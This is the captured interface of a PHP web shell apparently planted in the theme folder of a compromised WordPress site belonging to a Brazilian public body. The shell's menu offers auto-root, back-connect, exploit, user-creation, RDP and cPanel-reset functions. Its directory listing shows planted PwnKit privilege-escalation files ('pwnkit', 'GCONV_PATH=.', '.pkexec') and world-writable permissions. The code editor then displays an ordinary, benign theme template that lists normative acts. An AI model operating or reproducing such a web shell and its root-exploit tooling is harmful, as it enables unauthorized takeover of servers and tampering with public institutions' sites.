Linux 700ba4e1d92d 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
Apache/2.4.67 (Debian)
: 172.18.0.2 | : 216.73.217.30
Cant Read [ /etc/named.conf ]
8.2.31
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
wp-content /
themes /
mpcma-theme /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxrwxrwx
template-parts
[ DIR ]
drwxrwxrwx
.DS_Store
6
KB
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
archive-ato_normativo.php
12.96
KB
-rwxrwxrwx
archive-parecer.php
1.24
KB
-rwxrwxrwx
footer.php
3.58
KB
-rwxrwxrwx
front-page.php
7.12
KB
-rwxrwxrwx
functions.php
9.54
KB
-rwxrwxrwx
header.php
2.19
KB
-rwxrwxrwx
home.php
1.27
KB
-rwxrwxrwx
index.php
7.07
KB
-rwxrwxrwx
page-acesso-a-informacao.php
3.61
KB
-rwxrwxrwx
page-contato.php
3.53
KB
-rwxrwxrwx
page-institucional.php
3.79
KB
-rwxrwxrwx
page-mapa-do-site.php
2.51
KB
-rwxrwxrwx
page.php
693
B
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
screenshot-readme.txt
73
B
-rwxrwxrwx
single.php
876
B
-rwxrwxrwx
style.css
499
B
-rwxrwxrwx
taxonomy-tipo_ato.php
2.64
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : archive-ato_normativo.php
<?php get_header(); ?> <div class="page-hero"> <h1>Atos Normativos</h1> <p class="breadcrumb"><a href="<?php echo home_url(); ?>">Início</a> › Atos Normativos</p> </div> <div class="page-content"> <!-- Busca (largura total, alinhada com Recentes) --> <div class="atos-busca atos-busca-topo"> <input type="text" id="atos-input" placeholder="Pesquisar por Ementa"> <button type="button" id="atos-limpar-busca" class="atos-busca-limpar" aria-label="Limpar busca" hidden>×</button> <svg viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27A6.471 6.471 0 0 0 16 9.5 6.5 6.5 0 1 0 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/></svg> </div> <!-- Layout 2 colunas --> <div class="atos-topo-grid"> <!-- Coluna 1: Botões --> <div class="atos-col-botoes"> <button class="atos-btn ativo" data-tipo="1">INSTRUÇÕES NORMATIVAS</button> <button class="atos-btn" data-tipo="2">PORTARIAS</button> <button class="atos-btn" data-tipo="3">RESOLUÇÕES</button> <!-- Dropdown customizado --> <div class="atos-dropdown" id="atos-dropdown"> <button type="button" class="atos-dropdown-btn" id="atos-dropdown-btn"> OUTROS DOCUMENTOS... <span class="atos-dropdown-arrow">▾</span> </button> <ul class="atos-dropdown-lista" id="atos-dropdown-lista"> <li data-valor="4">Decisão Normativa</li> <li data-valor="6">Lei</li> <li data-valor="19">Lei Orgânica</li> <li data-valor="20">Regimento Interno</li> <li data-valor="23">Portaria Corregedoria</li> <li data-valor="37">Regimento Interno Corregedoria</li> <li data-valor="38">Plano Anual de Correição</li> <li data-valor="39">Recomendação da Corregedoria</li> <li data-valor="40">Ordem de Serviço da Corregedoria</li> </ul> </div> </div> <!-- Coluna 2: Recentes --> <div class="atos-col-recentes"> <div class="recentes-title">RECENTES</div> <div id="atos-recentes"> <p style="color:#888;font-size:0.85rem;">Carregando...</p> </div> </div> </div> <!-- Lista de resultados (abaixo das 2 colunas) --> <div id="atos-resultados" style="margin-top:32px;"> <div style="display:flex;justify-content:flex-end;margin-bottom:12px;"> <button id="atos-baixar" class="atos-btn" type="button">⬇ BAIXAR DADOS</button> </div> <div id="atos-status" class="atos-status">Selecione uma categoria acima.</div> <div id="atos-lista" class="atos-lista"></div> <div id="atos-paginacao" class="atos-paginacao"></div> </div> </div> <style> .atos-dropdown { position: relative; width: 100%; } .atos-dropdown-btn { width: 100%; background: transparent; border: 2px solid var(--ouro); color: var(--ouro); padding: 12px 16px; font-size: 0.85rem; font-weight: 700; letter-spacing: 0.5px; text-align: left; cursor: pointer; display: flex; justify-content: space-between; align-items: center; font-family: var(--font-corpo); } .atos-dropdown-btn:hover { background: var(--ouro); color: #fff; } .atos-dropdown-btn.ativo { background: var(--bordo); color: #fff; border-color: var(--bordo); } .atos-dropdown-arrow { font-size: 1rem; transition: transform 0.2s; } .atos-dropdown.aberto .atos-dropdown-arrow { transform: rotate(180deg); } .atos-dropdown-lista { display: none; position: absolute; top: 100%; left: 0; right: 0; background: #fff; border: 1px solid var(--ouro); border-top: none; list-style: none; margin: 0; padding: 0; z-index: 100; box-shadow: 0 4px 12px rgba(0,0,0,0.12); } .atos-dropdown.aberto .atos-dropdown-lista { display: block; } .atos-dropdown-lista li { padding: 10px 16px; font-size: 0.85rem; font-family: var(--font-corpo); color: var(--cinza-texto); cursor: pointer; border-bottom: 1px solid #f0f0f0; } .atos-dropdown-lista li:last-child { border-bottom: none; } .atos-dropdown-lista li:hover { background: var(--ouro); color: #fff; } .atos-dropdown-lista li.selecionado { background: var(--bordo); color: #fff; font-weight: 600; } </style> <script> (function() { var VIEW_BASE = 'https://publicacao.apps.tcema.tc.br/#/documentohtml/'; var PDF_BASE = 'https://publicacao-api.apps.tcema.tc.br/documento/'; var PAGE_SIZE = 10; var lista = document.getElementById('atos-lista'); var statusEl = document.getElementById('atos-status'); var input = document.getElementById('atos-input'); var paginacao = document.getElementById('atos-paginacao'); var recentes = document.getElementById('atos-recentes'); var botoes = document.querySelectorAll('.atos-btn[data-tipo]'); var btnLimpar = document.getElementById('atos-limpar-busca'); var dropdown = document.getElementById('atos-dropdown'); var dropBtn = document.getElementById('atos-dropdown-btn'); var dropLista = document.getElementById('atos-dropdown-lista'); var tipoAtual = 1; var paginaAtual = 0; var dadosAtual = []; var buscaTimer = null; var carregando = false; // Dropdown toggle dropBtn.addEventListener('click', function() { dropdown.classList.toggle('aberto'); }); // Fechar ao clicar fora document.addEventListener('click', function(e) { if (!dropdown.contains(e.target)) { dropdown.classList.remove('aberto'); } }); // Selecionar item do dropdown dropLista.querySelectorAll('li').forEach(function(li) { li.addEventListener('click', function() { var valor = parseInt(li.dataset.valor); if (!valor) return; // Atualiza visual dropLista.querySelectorAll('li').forEach(function(x) { x.classList.remove('selecionado'); }); li.classList.add('selecionado'); dropBtn.classList.add('ativo'); dropBtn.childNodes[0].textContent = li.textContent + ' '; dropdown.classList.remove('aberto'); // Desativa botões principais botoes.forEach(function(x) { x.classList.remove('ativo'); }); input.value = ''; atualizarBotaoLimpar(); carregar(valor, 0); }); }); function normalizar(s) { return String(s || '').toLowerCase() .normalize('NFD').replace(/[\u0300-\u036f]/g, '') .replace(/º/g, 'o').replace(/ª/g, 'a'); } function filtrarItem(d, termo) { var t = normalizar(termo); var tipo = d.tipoDocumento ? d.tipoDocumento.nome : ''; var tituloCompleto = tipo + ' n ' + String(d.numero) + '/' + String(d.ano); return normalizar(d.ementa).includes(t) || normalizar(String(d.numero)).includes(t) || normalizar(String(d.ano)).includes(t) || normalizar(String(d.numero) + '/' + String(d.ano)).includes(t) || normalizar(tituloCompleto).includes(t); } function highlight(texto, termo) { if (!termo) return texto; var escapado = termo.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); var regex = new RegExp('(' + escapado + ')', 'gi'); return texto.replace(regex, '<mark>$1</mark>'); } function abrirDoc(d) { if (d.contemHtml) return VIEW_BASE + d.documentoId + '?compilado=true'; return PDF_BASE + d.documentoId + '/pdf'; } function btnTxt(d) { return d.contemHtml ? 'VER' : 'PDF'; } function atualizarBotaoLimpar() { btnLimpar.hidden = input.value.trim() === ''; } function renderLista(data) { lista.innerHTML = ''; paginacao.innerHTML = ''; if (!data || !data.length) { statusEl.textContent = 'Nenhum ato encontrado.'; statusEl.style.display = 'block'; return; } statusEl.style.display = 'none'; var totalPag = Math.ceil(data.length / PAGE_SIZE); var inicio = paginaAtual * PAGE_SIZE; var pagina = data.slice(inicio, inicio + PAGE_SIZE); pagina.forEach(function(d) { var card = document.createElement('div'); card.className = 'ato-item'; var tipo = d.tipoDocumento ? d.tipoDocumento.nome : ''; var num = d.numero || '—'; var ano = d.ano || '—'; var termoAtual = input.value.trim(); card.innerHTML = '<div class="ato-info">' + '<h4>' + highlight(tipo + ' nº ' + num + '/' + ano, termoAtual) + '</h4>' + '<p class="ato-ementa">' + highlight(d.ementa || '', termoAtual) + '</p>' + '</div>' + '<a class="ato-link" href="' + abrirDoc(d) + '" target="_blank" rel="noopener">' + btnTxt(d) + '</a>'; lista.appendChild(card); }); if (totalPag > 1) { var prev = document.createElement('button'); prev.className = 'pag-btn'; prev.textContent = '‹ Anterior'; prev.disabled = paginaAtual === 0; prev.onclick = function() { paginaAtual--; renderLista(dadosAtual); window.scrollTo({top: lista.offsetTop - 120, behavior:'smooth'}); }; var info = document.createElement('span'); info.className = 'pag-info'; info.textContent = 'Página ' + (paginaAtual + 1) + ' de ' + totalPag + ' (' + data.length + ' atos)'; var next = document.createElement('button'); next.className = 'pag-btn'; next.textContent = 'Próxima ›'; next.disabled = paginaAtual === totalPag - 1; next.onclick = function() { paginaAtual++; renderLista(dadosAtual); window.scrollTo({top: lista.offsetTop - 120, behavior:'smooth'}); }; paginacao.appendChild(prev); paginacao.appendChild(info); paginacao.appendChild(next); } } function renderRecentes(data) { recentes.innerHTML = ''; var itens = data.slice(0, 5); itens.forEach(function(d) { var tipo = d.tipoDocumento ? d.tipoDocumento.nome : ''; var num = d.numero || '—'; var ano = d.ano || '—'; var div = document.createElement('div'); div.className = 'ato-recente'; div.innerHTML = '<div>' + '<h4><a href="' + abrirDoc(d) + '" target="_blank" rel="noopener">' + tipo + ' nº ' + num + '/' + ano + '</a></h4>' + '<p>' + (d.ementa ? d.ementa.substring(0, 80) + '...' : '') + '</p>' + '</div>'; recentes.appendChild(div); }); } function baixarCSV() { if (!dadosAtual || !dadosAtual.length) { alert('Nenhum dado carregado para baixar.'); return; } var esc = function(v) { return '"' + String(v == null ? '' : v).replace(/"/g, '""') + '"'; }; var linhas = ['Tipo;Numero;Ano;Ementa;Link']; dadosAtual.forEach(function(d) { linhas.push([ esc(d.tipoDocumento ? d.tipoDocumento.nome : ''), esc(d.numero), esc(d.ano), esc(d.ementa), esc(abrirDoc(d)) ].join(';')); }); var blob = new Blob(['\uFEFF' + linhas.join('\r\n')], { type: 'text/csv;charset=utf-8;' }); var a = document.createElement('a'); a.href = URL.createObjectURL(blob); a.download = 'atos-normativos-tipo-' + tipoAtual + '.csv'; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(a.href); } function carregar(tipo, pagina) { tipoAtual = tipo; paginaAtual = pagina || 0; carregando = true; statusEl.style.display = 'block'; statusEl.textContent = 'Carregando...'; lista.innerHTML = ''; paginacao.innerHTML = ''; var url = 'https://publicacao-api.apps.tcema.tc.br/documento/filtro?tipoDocumentoId=' + tipoAtual + '&destino=e'; fetch(url) .then(function(r) { return r.json(); }) .then(function(json) { carregando = false; var termo = input.value.trim().toLowerCase(); if (termo) { dadosAtual = json.filter(function(d) { return filtrarItem(d, termo); }); } else { dadosAtual = json; } renderLista(dadosAtual); if (pagina === 0) renderRecentes(json); }) .catch(function() { carregando = false; statusEl.textContent = 'Não foi possível carregar os atos no momento.'; }); } btnLimpar.addEventListener('click', function() { input.value = ''; atualizarBotaoLimpar(); paginaAtual = 0; renderLista(dadosAtual); input.focus(); }); botoes.forEach(function(b) { b.addEventListener('click', function() { botoes.forEach(function(x) { x.classList.remove('ativo'); }); b.classList.add('ativo'); // Reset dropdown dropBtn.classList.remove('ativo'); dropBtn.childNodes[0].textContent = 'OUTROS DOCUMENTOS... '; dropLista.querySelectorAll('li').forEach(function(x) { x.classList.remove('selecionado'); }); input.value = ''; atualizarBotaoLimpar(); carregar(parseInt(b.dataset.tipo), 0); }); }); document.getElementById('atos-baixar').addEventListener('click', baixarCSV); input.addEventListener('input', function() { atualizarBotaoLimpar(); clearTimeout(buscaTimer); buscaTimer = setTimeout(function() { paginaAtual = 0; var termo = input.value.trim().toLowerCase(); if (!termo) { renderLista(dadosAtual); return; } if (carregando || !dadosAtual.length) { carregar(tipoAtual, 0); return; } var filtrados = dadosAtual.filter(function(d) { return filtrarItem(d, termo); }); renderLista(filtrados); }, 400); }); carregar(1, 0); })(); </script> <?php get_footer(); ?>
Close